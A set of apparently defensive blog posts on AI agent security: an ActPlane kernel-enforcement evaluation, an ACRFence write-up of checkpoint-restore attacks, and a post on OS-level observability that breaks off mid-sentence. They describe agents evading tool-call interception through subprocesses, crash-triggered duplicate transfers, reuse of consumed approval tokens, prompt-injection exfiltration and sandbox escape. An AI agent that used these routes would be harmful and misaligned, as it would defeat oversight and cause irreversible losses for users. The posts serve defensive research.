Temporal gates let rules express ordering rather than point-in-time predicates. The after ... since ... construct encodes that one event must have occurred after another: tests must have run after the most recent edit, not merely at some earlier point. The exits N qualifier distinguishes successful from failed exits. A lineage gate checks process ancestry, allowing rules to restrict operations to specific process trees.

Information-flow labels propagate along fork, exec, read, write, and connect and are monotonic: once a process reads a labeled object, the label cannot be removed. When a process reads .env, it acquires that file's source label. If it later attempts to connect to an external endpoint, the rule matching that label fires and blocks the connection. This is how S7 from the study ("Data read from .env must not reach the network") becomes an enforceable cross-event rule.

Policy authority relies on a temporal trust boundary. Rules loaded before the agent starts are higher-authority and immutable to the agent. The agent and its sub-agents can add new rules or narrow existing ones within child domains, but they cannot weaken, remove, or disable inherited constraints. Runtime deltas arrive through a ring buffer and pass through an in-kernel authority checker that validates each change against the domain hierarchy before activation. The trusted computing base consists of the kernel enforcement engine and the higher-authority policy, and everything below this boundary is untrusted execution. A compromised userspace agent therefore cannot modify the active rule set beyond what its domain hierarchy permits.

Because labels are monotonic, long-running sessions risk over-tainting: after many reads, a process can accumulate so many labels that every subsequent operation triggers a rule. In a typical coding session, a process might read dozens of configuration and source files, and without mitigation each read adds a label, so after enough reads every subsequent write or connect would match some rule. ActPlane mitigates this by clearing inherited labels when a fresh subprocess is spawned, bounding taint accumulation to the lifetime of each process rather than the entire session.

The 607-policy dataset exercises most DSL features and validates the language's expressiveness. Effects skew toward observation: 66% of clauses are notify, 29% are block, and only 5% are kill, reflecting that most policies monitor rather than prevent. Hooks concentrate on code execution (60% exec) and file mutation (37% write), with network and cleanup operations under 1% each. Cross-event features see substantial use, with 28% of policies using an after/since temporal gate and 214 using unless to encode exceptions.

The implementation stays compact enough to reason about. The userspace compiler and runner are roughly 3.2K lines of Rust, and the eBPF enforcement engine is roughly 1.8K lines of BPF C. BPF-LSM hooks handle pre-operation decisions (block), while tracepoints handle observation and post-operation termination (kill). Labels live as 64-bit bitmasks in per-object BPF maps, so propagation reduces to a single bitwise OR, and the engine can support up to 128 concurrent rules, comfortably above the largest observed repository's 66 policies. For deeper coverage of the deployment architecture and mechanism details, see ActPlane: Pushing Agent Harness Enforcement Down to Kernel eBPF.

Recovery Reveals What Enforcement Alone Misses

Before recovery can matter, the DSL has to accept the policies developers already wrote. A Codex agent compiled all 607 OS-enforceable policies into ActPlane rules on the first or second attempt, with only 2 of 607 needing a syntax-error retry. The translation completed in 34 minutes using 7 subagents with 4 running in parallel, expanding 607 policies into 1,283 rule lines. The cost was roughly $0.028 per policy using 1.7M input tokens and 177K output, compared to approximately $11 per rule at typical software-engineer rates. Most policies are structurally simple, with 74% having at most two enforcement clauses and even the 95th percentile staying under 152 tokens.

Contextual enforcement resolves far more violations than any baseline. On the decision-compliance benchmark (190 traces, 38 rules drawn from the empirical study), ActPlane achieves a 75.8% Decision Compliance Rate under the primary Qwen3.6-27B setting. In this setting, the tested agent, prompt-filter classifier, and trajectory judge all use Qwen3.6-27B; the benchmark traces were generated earlier by Codex CLI under GPT-5.5, and policy artifacts for the non-prompt systems were translated separately with Claude Opus 4.6:

System	DCR
ActPlane	75.8%
ActPlane-opaque (no feedback)	53.7%
FIDES (tool-level IFC)	48.9%
Prompt-filter	48.4%
Tool-regex	45.3%

The benchmark generates five traces per rule: two compliant traces that stress false-positive detection (one exercising permitted actions near the boundary, one performing technically compliant operations that resemble violations) and three violation traces reflecting execution-path categories observed in deployed coding agents. Direct violations trigger the prohibited operation via a tool call, script violations split authoring and execution into a subprocess, and hidden violations embed the side effect in an auxiliary artifact behind a neutral entrypoint.

The gap concentrates on violation traces, where ActPlane correctly resolves 86 of 114, compared to 27 to 44 for baselines, a 2.0 to 3.2 times improvement. All systems perform comparably on compliant traces and direct violations, so ActPlane's advantage opens on script and hidden trace families, where the prohibited effect occurs inside a subprocess or behind a neutral entrypoint and tool-call interception cannot observe it.

Semantic feedback is the dividing line between compliance and retry loops. Full ActPlane produces three times more correct violation-trace outcomes than the same engine without feedback, 86 versus 27. Of the violations ActPlane detects, recovery rate, the fraction where the agent then complies, is 97.7% with semantic feedback versus 31.4% without. When the agent learns why an action was blocked and what state it needs to repair, it reroutes and completes the task. When it receives only a bare denial, it retries the same forbidden action through alternative paths.

That recovery loop only helps if enforcement stays cheap enough for everyday coding. End-to-end overhead was measured on two workloads under no-hit configurations where policies are loaded but no rule fires. The first workload is an agent trace suite that replays 68 tool actions with 20 Bash subprocesses. The second is a Linux kernel build (defconfig + vmlinux, make -j24). At 32 active rules, ActPlane adds 1.9% on the agent trace and 6.5% on the kernel build. Even at 100 rules, overhead stays below 8.4%.

Microbenchmarks isolate where per-syscall cost concentrates. Across the one- through 100-rule configurations, the absolute additions on fork and exec range from 3.12 to 68.73 microseconds. At 100 rules specifically, fork adds 20.39 microseconds and exec adds 68.73 microseconds over native latencies of 48.94 and 248.30 microseconds.

Under the same 100-rule load, absolute latencies reach 13.4 microseconds for open, 0.84 microseconds for write, and 3.17 microseconds for connect, so path lookups and rule scans dominate these otherwise sub-microsecond file and network calls. The cumulative ActPlane overhead of an entire tool-call's syscall sequence is five to six orders of magnitude smaller than a single LLM inference turn of 2 to 10 seconds. Policy updates propagate quickly: a one-rule hot reload submitted through the userspace ring buffer reaches the kernel drain path in 26.3 microseconds on average, and an immediate exec violation is detected at p50 176.4 microseconds including process launch and event delivery.

ActPlane's advantage replicates under a second model. A DeepSeek-Pro V4 end-to-end replication preserves the system ranking with ActPlane highest at 77.4% DCR, and per-cell agreement between the two model settings yields a Cohen's kappa of 0.822.

Translation quality drives both detection and recovery rates, because rules that are too narrow miss violations while rules that are too broad match compliant actions. To measure improvability, the paper feeds each false-negative trace's evidence and corrective feedback to the translation agent and lets it revise the rule once. Rerunning the 28 false-negative traces with revised rules recovers 26 (93%), showing that the DSL supports iterative refinement.

Results on a selected set of real-world coding tasks suggest the pattern may extend beyond synthetic traces. On a 21-task subset of OctoBench with 61 OS-enforceable rules spanning seven repositories, ActPlane improves user-query reward by 9.9 points and implementation/test reward by 9.7 points over the no-enforcement baseline. The gains extend beyond compliance-typed checks, suggesting that OS-level enforcement with semantic feedback can help agents follow rules and complete tasks more effectively on this subset.

A separate safety benchmark extends the evidence beyond the paper's own dataset. On 361 OpenAgentSafety personal-assistant tasks, ActPlane loads agent-generated safety policies as higher-authority rules before the agent begins, preventing 74% of baseline-unsafe behaviors (78 of 106 unsafe outcomes blocked). Those policies were generated only from task descriptions, without human tuning. That deployment-like constraint also reveals a cost: ActPlane activated on 16% of tasks whose baseline was already safe when a description-only policy matched a benign operation near the prohibited boundary.

The 28 unblocked cases fall into three categories: chat or semantic harm where the unsafe behavior is a message with no OS-observable artifact, unsafe file content that falls outside ActPlane's primary scope, and service-side artifacts where the effect is a WebDAV upload or database mutation inside a service container that the current hook set does not observe.

The ActPlane source code is available on GitHub. The policies/ directory contains the full set of 607 translated rules across all 64 repositories, ready to serve as starting points for your own instruction files.

Where Layered Enforcement Stops

Is eBPF enough for AI agent safety?

eBPF provides deterministic enforcement over OS events such as file writes, process launches, and network connections. The per-event and cross-event classes form the directly OS-enforceable 45% of policies. The broader 83% system-observable set also includes 38% content policies, which need linters or static analyzers, while the remaining 17% cover reasoning, communication style, or output quality and require harness-level controls. Task intent, policy authority, content semantics, and isolation remain responsibilities of the layers around kernel enforcement.

Can behavioral baselines replace policy?

Behavioral baselines answer "is this unusual?" by flagging deviations from historical patterns. Policy answers "is this permitted under the current task?" A routine git commit can be perfectly normal by baseline standards and still violate a project rule. An unfamiliar deployment endpoint can trigger an anomaly alert and still be legitimate because the user explicitly requested it. Detection and authorization are two different problems, and a mature system uses both, letting anomaly signals propose candidate rules that go through authority-aware review before becoming enforced policy.

Does AgentSight enforce ActPlane policies?

No. AgentSight is a system-level profiler and monitor that captures what agents do at runtime. ActPlane is the enforcement engine that blocks or redirects actions violating loaded policies. The two serve complementary roles: runtime evidence from AgentSight can feed into policy review and refinement, but observation and enforcement remain separate responsibilities. An organization might use AgentSight to discover that agents frequently write to production config files, then encode a corresponding ActPlane rule to block that pattern with an explanation of why it is forbidden.

What remains outside ActPlane's coverage?

The paper's threat model is explicit about boundaries. Semantically equivalent operations can bypass string-based matching: an agent could use a custom Git client instead of calling exec git, though the underlying connect and write system calls remain visible. Service-side effects behind protocol boundaries, such as WebDAV uploads or database mutations inside service containers, also escape the current hook set. File-content semantics, kernel compromise, CAP_BPF compromise, and side channels are all out of scope. The 17% of policies that are semantic-only, covering reasoning quality, communication tone, or output formatting, require harness-layer handling rather than kernel enforcement.

For a team governing coding agents, the practical decision is narrower than "add more eBPF." Start from the statements already sitting in CLAUDE.md and AGENTS.md, resolve the project and task context they omit, and only then compile the OS-enforceable subset into kernel checks with feedback the agent can act on. Prior instruction-file studies worked at file or section granularity, while the ActPlane dataset measures individual policy statements and maps them to enforcement and context requirements. The ActPlane repository contains the implementation, and a broader three-layer security model placing kernel enforcement alongside isolation, identity, and content controls appears in Runtime Observability and Enforcement for Opaque AI Agents with eBPF.

References

ACRFence: Preventing Semantic Rollback Attacks in Agent Checkpoint-Restore

云微 — Tue, 02 Jun 2026 11:11:23 +0000

AI agent frameworks are bringing checkpoint/restore, time travel, and rewind into everyday developer workflows. If an agent makes a mistake, it can go back to a checkpoint. If a user wants to explore another path, the agent can branch from an earlier state. This is useful for debugging and human-in-the-loop control, but it becomes dangerous once the agent has already called external tools.

Traditional checkpoint/restore rolls back local state. It cannot undo side effects that have already happened in the external world. For ordinary programs, the usual answer is idempotency: retry the external call with the same request id, and the server returns the previous result instead of executing the action again. But an LLM agent is not an ordinary deterministic program. After restore, it may synthesize a semantically equivalent tool call with slightly different fields, such as a new UUID, timestamp, nonce, or reference number. The server cannot see that this is a retry of the same intent. It only sees a new valid request.

This post is based on our arXiv paper ACRFence: Preventing Semantic Rollback Attacks in Agent Checkpoint-Restore. We introduce semantic rollback attacks: attacks that exploit the gap between rolled-back agent state and non-rolled-back external state to trigger duplicate irreversible actions or revive consumed authority.

A Simple Transfer Example

Suppose a user asks an agent to transfer $500 to Bob. The agent calls a bank API, generates a unique reference id a1b2c3d4, and the transfer succeeds. The agent then calls Bob's MCP service to confirm the receipt. Bob's service returns a malformed response that crashes the agent. The framework restores the agent to a checkpoint before the transfer.

After restore, the agent again executes the intent "transfer $500 to Bob." This time, however, it generates a different reference id, f9a8b7c6. The bank's duplicate detection logic only sees two different references, so it accepts the second transfer. Bob receives $1000, while the agent's local view remains "I transferred once."

Figure 1: Action Replay. A malicious MCP service triggers a crash after a successful transfer. After restore, the agent reissues the transfer with a new reference id, so the bank treats it as a new transaction.

The key point is not that the transfer API lacks idempotency. The problem is that the precondition for idempotency is broken. Systems such as Stripe and AWS ECS rely on the caller retrying with the same idempotency key or the same critical parameters. An LLM agent rethinks after restore and may produce a different token sequence. Even at temperature 0, byte-identical tool calls are not guaranteed. As a result, traditional server-side deduplication cannot recognize a "semantically same" retry.

Root Cause: Local Rollback, External Progress

Checkpoint/restore systems can save local process state, conversation context, variables, file descriptors, and related runtime state. They cannot automatically undo committed external effects. Transfers, emails, cloud resource creation, data deletion, and one-time token consumption are all irreversible side effects from the framework's point of view.

In the agent setting, three facts combine badly:

The agent state is rolled back. The agent returns to an old checkpoint and no longer remembers that the transfer succeeded.
The external state is not rolled back. The bank ledger, approval system, or cloud control plane still records the previous successful action.
The post-restore tool call may differ. The LLM may regenerate UUIDs, nonces, timestamps, or even change the target object under user guidance.

Figure 2: Restore only affects local agent state. External state keeps moving forward. This divergence is the core of semantic rollback attacks.

This resembles the classic output commit problem in distributed systems: once output has been committed to the outside world, rolling back the local process alone cannot take the whole system back in time. The new twist is that an LLM agent may synthesize a different request after restore, blurring the boundary between "retry" and "new request."

Attack 1: Action Replay

Action Replay targets irreversible tool calls that have already succeeded. The attacker does not need to control the bank or compromise the agent. It is enough to control a later service in the agent's tool chain, such as Bob's invoice-confirmation MCP service or a seemingly harmless callback endpoint.

The attack path is direct:

The agent executes an irreversible action after a checkpoint, such as a transfer or cloud resource creation.
The external service returns success, and the side effect is committed.
An attacker-controlled later tool returns a malformed response, triggering crash or restore.
The agent returns to the old checkpoint and repeats the same task.
The LLM generates a fresh request id, so the target service cannot recognize the repeated intent and commits again.

Figure 3: Normal execution transfers once. In the attack path, crash-induced restore causes the same semantic action to execute twice.

In our experiments, we used Claude Code CLI backed by Qwen3-32B. External services were simulated as MCP tool servers: a bank service with UUID-based duplicate detection and a malicious payee service that crashes the agent after a successful transfer. Across 10 checkpoint/restore trials, all 10 produced duplicate commits. A no-checkpoint baseline produced none. This confirms that the vulnerability comes from the interaction between restore and external side effects, not from ordinary model randomness alone.

Attack 2: Authority Resurrection

The second attack class is Authority Resurrection, which targets one-time authorization tokens or short-lived credentials.

Consider an enterprise data deletion workflow. The agent first obtains manager approval, and the approval service returns a one-time token. The agent uses that token to delete Alice's data, and the server marks the token as consumed. A user or malicious insider then rewinds the agent to the checkpoint immediately after approval was granted. In the agent's local state, the token appears again. In the external approval system, the token should already be consumed.

If the target service validates tokens statelessly, for example by checking only a signature and expiration time, the agent may reuse the same token on another target, such as Bob's data. The audit log may show that the manager approved deletion for Alice, while Bob's data was also deleted. The discrepancy is visible only by correlating approval and execution logs.

Our experiment simulated two approval services:

Validation mode	Result
Stateless validation, checking only token signature	2/2 reuse attempts succeeded
Stateful validation, recording token consumption server-side	All reuse attempts were rejected

This shows that checkpoint/restore can do more than duplicate financial side effects. It can also break authorization semantics by reviving authority that should have been consumed.

Why This Is Not One Framework's Bug

The paper surveys reports across multiple frameworks and communities. The concrete symptoms differ, but they point to the same boundary: restore, retry, approval, preemption, and human-in-the-loop flows can cause tool calls to execute more than once, while frameworks generally do not enforce exactly-once semantics at the tool boundary.

Framework or system	Observed issue type
LangGraph	Tool nodes may re-execute after resume or interrupt
CrewAI	Workflows run twice, causing repeated emails or actions
Google ADK	Rewind documentation warns that external side effects are not undone
AutoGen / OpenAI Agents	Graph nodes or function calls are triggered repeatedly
Claude Code / Cursor	Duplicate tool behavior around approval, checkpoint, or undo flows
OpenHands / Vercel AI / LiveKit / n8n	Duplicate messages, repeated tool calls, doubled token cost, or repeated charges

These cases do not mean every framework has the same bug. They show that "restoring agent state to the past" while "the external world remains in the present" is a systemic issue. Relying on developers to make tools idempotent is not enough, because the post-restore agent request may not be the same request.

ACRFence: Replay-or-Fork at the Tool Boundary

ACRFence does not try to make every LLM agent deterministic. Instead, it records irreversible effects at the tool boundary and enforces replay-or-fork semantics after restore.

ACRFence can be deployed as an MCP proxy or a similar tool-call proxy between the agent and external services. For each irreversible tool call, ACRFence records an effect log that includes:

thread and branch identifiers, to distinguish execution branches in the same session;
tool name and arguments;
return value or error;
runtime context, such as process, network, and file-access context, which can be enriched by eBPF-based system-level monitors such as AgentSight;
consumed credentials or authorization objects, when applicable.

When the agent restores from a checkpoint and issues another tool call, ACRFence does not immediately forward it. It first compares the new call with the historical effect log:

Semantically equivalent: replay. If the new call only changes non-intent fields such as request id or timestamp, while recipient, amount, resource target, and other intent fields are the same, ACRFence returns the previously recorded response without re-executing the external operation.
Semantically divergent: fork. If the new call changes intent-critical fields, such as a different recipient or a different customer deletion target, ACRFence blocks the call, shows the prior effect log, and requires an explicit fork.
Credential reuse: reject or inform. If the call tries to reuse a consumed token, ACRFence informs the agent before the request reaches the target service.

We use an analyzer LLM for semantic comparison instead of requiring every tool to provide a hand-written schema and idempotency rule. For example, two transfer calls with different UUIDs but the same amount and recipient should be treated as the same intent. Two delete_customer_data calls with the same approval token but different customer ids should be treated as dangerous divergence. The analyzer runs only on the restore path, not on every normal tool call.

ACRFence aims to provide two guarantees:

Replay safety: semantically equivalent irreversible calls after restore do not execute again; ACRFence returns the cached result.
Divergence detection: semantically different calls after restore must explicitly fork; they cannot silently inherit external effects or authority from an old branch.

How This Differs from Idempotency and Durable Execution

Idempotency is still important, but it solves the problem of "the same request is retried." ACRFence works one level higher, at agent intent: request fields may change while intent stays the same, or the fields may look valid while intent has drifted to a new target.

Durable execution systems usually require deterministic orchestrator logic, with nondeterministic values recorded as side effects and replayed on recovery. That works well for traditional workflows. LLM agents, however, generate their next action from context. Rather than assuming post-restore calls will be byte-identical, ACRFence treats divergence as expected and makes replay versus fork explicit at the tool boundary.

In this division of labor, checkpoint/restore lets the agent return to an earlier state. ACRFence ensures that reconnecting that old state to the external world does not duplicate irreversible side effects or revive consumed authority.

Limitations and Next Steps

The work validates the two attack classes, while ACRFence itself remains a design that still needs a full implementation and system evaluation. Several challenges remain:

The analyzer LLM may misclassify calls, so false replay and false fork risks need careful evaluation.
An adaptive attacker who knows the comparison logic may craft ambiguous parameters to evade semantic detection.
The boundary between "intent fields" and "non-intent fields" is not always obvious for every tool.
The current experiments cover one model and one framework; more agent frameworks, models, and real tool ecosystems should be evaluated.

The core conclusion is clear: once agent frameworks introduce checkpoint, rewind, time travel, and branch exploration, external tool calls cannot rely only on traditional idempotency keys. The restore path is a new security boundary.

Conclusion

Checkpoint/restore makes AI agents easier to debug, recover, and steer across multiple execution paths. But once agents can call external tools, local rollback and external non-rollback create a semantic gap. Action Replay can turn one payment, one resource creation, or one email into many. Authority Resurrection can make consumed authorization reappear in local agent state.

ACRFence records irreversible effects at the tool boundary and enforces replay-or-fork after restore: same intent replays the result without re-execution, different intent must explicitly fork, and consumed credentials cannot be silently reused. As more agent frameworks support checkpoint and time travel, this kind of tool-boundary semantics will become part of the reliability and security foundation.

References

Runtime Observability and Enforcement for Opaque AI Agents with eBPF: Beyond Sandboxes and Approvals

云微 — Tue, 02 Jun 2026 11:11:21 +0000

AI coding agents now run for hours, complete entire features end-to-end,
optimize production GPU kernels, and merge thousands of pull requests
autonomously. Meanwhile, most agent security still relies on human-in-the-loop
approval, and Anthropic's own data shows users approve 93% of prompts without
meaningful review. The result is predictable: products add bypass modes, users
disable permission gates, and 65% of firms report agent security incidents.

But the deeper problem is not approval fatigue. It is that the agent harness
(the prompt loop, tool routing, permission logic, and sandbox defaults) is
increasingly a third-party product the platform team did not write, running in a
sandbox the platform team may not own. The harness is not a trusted security
boundary. This post argues for separating agent security into three layers with
three different owners: intent authorization (harness-owned), execution
isolation (ownership contested), and side-effect verification (must be
platform-owned). When the layers agree, you have confidence. When they
disagree, you need independent observability and enforcement at the OS level to
detect it, and that is exactly the layer most agent platforms are missing. We
are building projects towards this direction:
AgentSight for runtime observation and
ActPlane for runtime harness enforcement, both using eBPF to provide an
independent runtime observability and enforcement below the agent harness.

Why Now: Complexity Up, Guardrails Behind

The important change in 2026 is not that agents exist. It is the scale and
duration of what they do.

A year ago, the typical agent task was "fix this bug" or "write this function."
In 2026, agents routinely run for hours on complex, multi-step work. OpenAI
documented a Codex session that ran for 25 hours uninterrupted,
consuming 13 million tokens and producing 30,000 lines of code from a blank
repository. Anthropic's agentic coding report cites a 12.5-million-line
codebase change completed in a single 7-hour run. Meta's
KernelEvolve uses multi-agent coordination to write and optimize
production GPU kernels, compressing work that previously required weeks of
expert systems engineering into hours. On SWE-bench Verified, top agents now
resolve 60–70% of real GitHub issues, up from under 30% in early

Devin has merged hundreds of thousands of pull requests across enterprise customers with a 67% merge rate. Goldman Sachs deployed hundreds of Devin instances across a 12,000-person engineering team.

Beyond coding, general-purpose autonomous agents have gone mainstream.
OpenClaw, an open-source agent with
over 300,000 GitHub stars, connects to LLMs and executes shell commands,
browser automation, email, calendar, and file operations on the user's machine.
CrowdStrike called it "the AI Super Agent" security teams need to worry
about:
between January and April 2026, 470 security advisories
were filed against it across three disclosure waves.

These are not research demos. They are production workflows: background tasks,
parallel execution, multi-hour sessions, end-to-end feature development, kernel
optimization, and enterprise-scale code changes.

Meanwhile, the guardrails designed to keep agents safe have not kept pace.

Most agent security still relies on human-in-the-loop approval: a prompt asks
the user to approve or deny each action before it executes. This works for short
sessions with a few tool calls. It does not work when an agent makes hundreds of
decisions over hours of autonomous operation.

The evidence suggests that approval-based control is already failing in
practice. Anthropic's own data shows that Claude Code users approve 93% of
permission prompts, a rate consistent with rubber-stamping
rather than meaningful review. An independent stress test of Claude Code's auto
mode found an 81% false negative rate on ambiguous
state-changing actions, meaning the classifier allowed 4 out of 5 actions that
should have required human review. Real incidents have followed: in documented
cases, users running agents without permission gates had their home directories
deleted by rm -rf commands the agent generated. A 2026
industry survey found that 65% of firms reported AI agent security
incidents, primarily
unauthorized data access, credential exposure, and exfiltration to external
endpoints, with most involving organizations lacking proper agent access
controls.

Products have responded by adding bypass mechanisms. Claude Code offers
--dangerously-skip-permissions. Windsurf's Cascade agent proceeds
autonomously where Cursor stops to ask. Community guides now
focus on "how to safely use YOLO mode." Anthropic researcher Nicholas Carlini
ran 16 parallel Claude agents with permissions bypassed, with the
caveat: "Run this in a container, not your actual machine."

This is the tension: the more capable agents become, the more users want to
let them run uninterrupted, and the less effective human-in-the-loop becomes as
the primary security boundary.

That tension is what creates the need for a different security model.

The Accountability Gap

The deeper issue is not just that agents are more capable. It is that the agent
harness, the component that decides what the agent does, is increasingly a
third-party product the platform team did not write.

A modern agent harness is not a thin wrapper around a model. It includes a
prompt loop, planning and retry logic, tool routing, MCP clients, permission
modes, approval gates, hooks, memory, logs, credential handling, and sometimes
sandbox defaults. In many deployments, that harness comes from a hosted
coding-agent service or an open-source framework the platform team does not
control.

This is already visible across the ecosystem. GitHub Copilot's coding
agent runs autonomously in GitHub Actions, researching
repositories, creating plans, making changes, and opening pull requests. OpenAI
Codex runs background tasks in sandboxed cloud environments with
controlled network access. Claude Code runs cloud sessions in Anthropic-managed
VMs with scoped credentials. Kubernetes SIG is defining Agent
Sandbox for isolated, stateful agent workloads. Recent research
datasets show agent-authored pull requests at scale across real
repositories.

The ownership split is now explicit in major platforms. Anthropic's shared
responsibility framework divides agent security into four
layers (Model, Harness, Tools, Environment) and
stresses that an agent's behavior depends on all four working together, so the
harness, tools, and environment, the layers shaped by the deploying party, are
as decisive as the model itself. Anthropic itself notes that even together,
these layered safeguards are not a guarantee. The question the framework
leaves open is what happens when a failure crosses these layers, and whether
the deployer has independent observability to detect it. In cloud infrastructure,
the analogous gap in shared responsibility led to independent observability
and audit services (CloudTrail, Config, GuardDuty) controlled by the
customer, not the provider. Agent infrastructure has no equivalent yet: the
deployer is told it owns harness, tools, and environment, but often has no
independent way to verify what those layers actually did at runtime.

GitHub's agentic
workflow architecture starts from the premise that "agents cannot be trusted by
default, especially in the presence of untrusted inputs",
using kernel-enforced communication boundaries that hold even if the agent
container is compromised. OpenAI's Codex documentation acknowledges
that "devcontainers provide substantial protection, but they do not prevent
every attack."

The platform team still owns the repository, the CI runner, the Kubernetes
cluster, the service accounts, the secrets, and the internal network. But the
runtime acting on those assets may be opaque.

There is also a second split that matters even more for platform teams: the
sandbox may not be controlled by the environment owner either. If the agent
runs in a provider-managed cloud (Claude Code on the web runs in
Anthropic-managed isolated VMs with scoped credential
proxies; Codex runs in OpenAI-managed containers), the
platform team cannot attach its own monitoring, modify isolation policy, or
inspect the sandbox internals. Even Anthropic's own managed agent architecture
explicitly decouples the "brain" (Claude + harness) from the
"hands" (sandboxes), treating containers as disposable and ensuring tokens are never reachable
from the sandbox where generated code runs. This is good architecture, but it is the provider's architecture,
not the platform team's.

When agents run locally or on self-hosted infrastructure (GitHub now supports
self-hosted runners for its coding agent, and Kubernetes
Agent Sandbox provides gVisor/Kata-backed isolation under the
platform operator's control), the environment owner can wrap the agent in its
own sandbox and observability. When agents run in provider-managed
environments, independent observability and enforcement must move to the
boundaries the platform team does control.

This creates the accountability gap: the platform team is responsible for
production impact from a workload it cannot fully inspect, running in a sandbox
it may not own.

The old mental model was simple: the agent is risky, so put it in a sandbox.
The new reality has a different trust boundary: the agent and its harness are
part of the workload, and the environment owner needs independent runtime observability.

Three Layers, Three Questions

MCP, sandboxes, and OS-level observability are all necessary for agent security.
They are not interchangeable. Each answers a fundamentally different question,
and each has a different owner.

Intent authorization (MCP, tool gateways, approval prompts) answers: what
is the agent supposed to do? Which tools may it call, under which identity,
with which scopes? This is the right place to enforce access control before a
dangerous action happens. But a tool approval is not proof of side effects. A
framework log saying "run tests" does not prove that the process tree only ran
tests. An MCP server can be well-authenticated and still be part of a workflow
that causes unexpected local effects. This layer is typically owned or mediated
by the agent harness.

Execution isolation (containers, VMs, network policy, namespaces) answers:
what can the agent reach? Which files, network endpoints, credentials, and
syscalls are available? This is the right place to limit blast radius. But a
sandbox does not automatically record what the agent attempted within its
constraints: which process read a secret, which subprocess opened a network
connection, whether the sandbox policy matched the approved intent. This layer's
ownership is contested: it may belong to the agent provider, the platform team,
or both.

Side-effect verification (OS/runtime observability) answers: what actually
happened? Which processes ran, which files were read, which network connections
were opened, which credentials were accessed? This layer provides facts about
execution, independent of what the framework reported or the sandbox intended.
This layer must be owned by the environment operator. Otherwise there is no
independent source of truth.

The security model is the combination:

authorize intent  →  isolate execution  →  verify side effects
(harness-owned)      (ownership contested)  (must be platform-owned)

When all three layers agree, you have confidence. When they disagree, you need
OS-level observability and controls, independent of the harness, to detect the
mismatch, contain the damage, and reconstruct what happened.

Why Independence Matters

The reason to keep these layers independent follows from the trends above, but
also from a deeper structural argument about ownership and trust.

Approval fatigue

When approvals are relaxed (as the evidence above shows they routinely are),
the other two layers must compensate. If you auto-approve routine actions, you
need an independent way to verify what those actions actually did. If you
bypass permissions for speed, you need stronger containment and stronger observability.

Harness opacity

When the harness is opaque, application-level telemetry cannot be the sole
source of truth. OpenTelemetry GenAI conventions and framework-level tracing are
valuable when you own the framework. But opaque agent apps, closed-source
runtimes, hosted execution, stripped binaries, and arbitrary subprocess trees
can all break the assumption that the framework trace is complete. OpenClaw
illustrates this directly: its behavior is non-deterministic across
runs, producing different tool-calling
sequences for the same input, which makes static code review inadequate and
drove multiple teams to build dedicated runtime observability tools for it
(OneClaw,
ClawTrace).
Security researchers have already found 30+ vulnerabilities across all major AI
IDEs (Cursor, Copilot, Windsurf, Claude Code), enabling data theft
and remote code execution through prompt injection into agent tool chains.

The MCP layer records intended tool calls. The OS layer records actual side
effects. When the harness is opaque, the gap between these two is exactly where
security incidents live.

The trust boundary is an ownership boundary

The deepest reason for independence is that the three layers serve different
owners with different incentives.

The harness provider's goal is to complete the user's task: maximize
autonomous coding productivity, reduce permission friction, deliver results.
The platform team's goal is to protect the repository, secrets, cluster,
CI runner, internal network, and production APIs. These goals are not opposed,
but they are not identical. When they conflict, when the fastest path to task
completion involves reading credentials, opening network connections, or
modifying files outside the workspace, the harness will optimize for
completion unless an independent boundary stops it.

This is why Bhattarai and Vu argue that
"probabilistic compliance is not compliance": training-based and
classifier-based defenses may reduce empirical attack rates, but cannot provide
deterministic guarantees under adversarial conditions. Only architectural
enforcement can. Red Hat's experience deploying multi-agent systems on Kagenti
frames the same insight differently: this is "a multi-tenancy problem disguised
as an AI problem". The agent is an untrusted tenant. The
platform needs the same kind of isolation, identity, and audit controls it would
apply to any untrusted workload.

The OWASP Top 10 for Agentic Applications reinforces this
framing. Its top risk (ASI01, Agent Goal Hijacking) is that "agents cannot
reliably distinguish instructions from data," and a single malicious input from a
repository, issue, MCP response, or web page can redirect the agent to perform
harmful actions using its legitimate tools. This is not a hypothetical:
Bishop Fox demonstrated confused deputy attacks where
instructions embedded in support tickets caused agents to exfiltrate data using
authorized tools, with "the user's name on every audit log entry." Docker
documented a GitHub prompt injection chain where a
malicious issue hijacked an MCP-connected agent to steal confidential data from
private repositories.

The threat model for platform teams therefore has three adversary categories:

Threat	Which layer fails	Runtime observability detects
Compromised agent (prompt injection, malicious repo/issue/MCP response)	Intent layer: agent is tricked into unintended actions	Actual side effects diverge from stated intent
Untrusted harness (opaque permission logic, incomplete logs, unauditable internal state)	Cannot verify harness completeness	OS-level facts independent of harness reporting
Sandbox escape or policy gap (container breakout, mounted credentials, network bypass)	Isolation layer fails or is misconfigured	Detects behavior outside expected sandbox boundary

AISI's SandboxEscapeBench makes the third category concrete:
frontier models can reliably escape container sandboxes under
misconfigurations that plausibly occur in real systems, and the researchers
discovered four unintended escape paths the benchmark designers had missed.
Their recommendation: "treat plain Docker isolation as insufficient by
default."

In all three cases, OS/runtime observability is the independent control
that lets the platform team detect the problem, regardless of which other layer
failed.

What OS-Level Monitoring Captures

At the OS/runtime layer, observability captures:

Process lineage: the full tree from agent to subprocess to network call
File access: which paths were read or written, including credential paths
Network behavior: connections, destinations, timing, data volume
Container metadata: namespace, cgroup, pod identity, service account
Subprocess behavior: commands that bypass framework instrumentation

This data is collected below the application layer, typically via eBPF,
audit subsystems, or kernel instrumentation. It does not require modifying the
agent app. Its key property is independence: the observability is owned and
operated by the environment operator, not by the agent provider.

This makes cross-layer comparison possible:

Framework report:    run tests
Sandbox policy:      workspace mounted, registry allowed, SA token mounted
OS observability:       agent → shell → python → curl
                     read: /var/run/secrets/.../token
                     connect: unknown external host

Each layer saw a different part of the event. Without the OS layer, this is an
undetected credential theft: a service account token read and exfiltrated while
the framework logged only "running tests." The platform team discovers the
breach days later, if at all. OS-level observability is what turns an invisible data leak into a real-time
detection.

Deployment Reality

OS-level observability is strongest when you control the host, node, or VM where the
agent executes. If the agent runs entirely in a provider-managed environment,
you may not be able to attach eBPF inside it.

In that case, the same model applies, but observability shifts to the boundaries you do control:

Repository permissions and branch protection
Scoped credentials with minimal lifetime
CI/CD and GitHub audit logs
Network proxies and webhook events
Artifact access logs
Provider-supplied session logs

This observability is weaker than owning the runtime boundary, but it is still better
than treating the agent transcript as the only source of truth.

The design question for platform teams is:

Where is the lowest layer I actually control?
That is where independent observability should live.

AgentSight and ActPlane: Observe, Then Enforce

We are building open-source tools that implement the verification layer
described above, each addressing a different half of the problem.

AgentSight is a zero-instrumentation observability tool for
AI agents. It uses eBPF to intercept SSL/TLS traffic and monitor process
behavior at the system boundary, with no code changes, no SDKs, and no
